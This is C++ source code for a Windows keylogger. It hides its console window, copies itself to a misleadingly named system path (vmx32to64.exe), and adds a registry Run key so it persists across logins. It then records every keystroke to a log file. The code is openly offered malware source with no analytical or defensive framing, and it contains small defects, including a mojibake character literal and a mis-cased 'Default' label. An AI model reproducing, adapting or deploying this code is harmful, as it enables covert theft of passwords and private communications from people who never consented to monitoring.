```
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Advapi32.lib")

/* Based on https://github.com/EgeBalci/Keylogger */

using namespace std;

char logfile[] = "log.txt";

char oldfile[] = "key.exe";
char newfile[] = "C:\\Windows\\vmx32to64.exe";

void LOG(string input) {
	fstream LogFile;
	LogFile.open(logfile, fstream::app);
	if (LogFile.is_open()) {
		LogFile << input;
		LogFile.close();
	}
}
bool SpecialKeys(int S_Key) {
	switch (S_Key) {
	case VK_SPACE:
		cout << " ";
		LOG(" ");
		return true;
	case VK_RETURN:
		cout << "\n";
		LOG("\n");
		return true;
	case 'Ã‚Â¾':
		cout << ".";
		LOG(".");
		return true;
	case VK_SHIFT:
		cout << "#SHIFT#";
```

```
            LOG("#SHIFT#");
            return true;
    case VK_BACK:
            cout << "\b";
            LOG("\b");
            return true;
    case VK_RBUTTON:
            cout << "#R_CLICK#";
            LOG("#R_CLICK#");
            return true;
    case VK_CAPITAL:
            cout << "#CAPS_LOCK#";
            LOG("#CAPS_LOCK");
            return true;
    case VK_TAB:
            cout << "#TAB";
            LOG("#TAB");
            return true;
    case VK_UP:
            cout << "#UP";
            LOG("#UP_ARROW_KEY");
            return true;
    case VK_DOWN:
            cout << "#DOWN";
            LOG("#DOWN_ARROW_KEY");
            return true;
    case VK_LEFT:
            cout << "#LEFT";
            LOG("#LEFT_ARROW_KEY");
            return true;
    case VK_RIGHT:
            cout << "#RIGHT";
            LOG("#RIGHT_ARROW_KEY");
            return true;
    case VK_CONTROL:
            cout << "#CONTROL";
            LOG("#CONTROL");
            return true;
    case VK_MENU:
            cout << "#ALT";
            LOG("#ALT");
            return true;
    Default:
            return false;
```

```
	}
}

int main()
{

	ShowWindow(GetConsoleWindow(), SW_HIDE);
	char KEY = 'x';

	/* COPY PROGRAM TO MISLEADING LOCATION */
	CopyFile(oldfile, newfile, FALSE);

	/* CREATE RUN KEY IN REGISTRY */

	TCHAR runPath[35] = TEXT("C:\\Windows\\vmx32to64.exe");
	HKEY newValue;
	RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\
	\Run",&newValue);
	RegSetValueEx(newValue,"vmx32to64",0,REG_SZ,(LPBYTE)runPath,sizeof(runPath));
	RegCloseKey(newValue);

	while (true) {
		Sleep(10);
		for (int KEY = 8; KEY <= 190; KEY++)
		{
			if (GetAsyncKeyState(KEY) == -32767) {
				if (SpecialKeys(KEY) == false) {
					fstream LogFile;
					LogFile.open(logfile, fstream::app);
					if (LogFile.is_open()) {
						LogFile << char(KEY);
						LogFile.close();
					}
				}
			}
		}
	}
	return 0;
}
```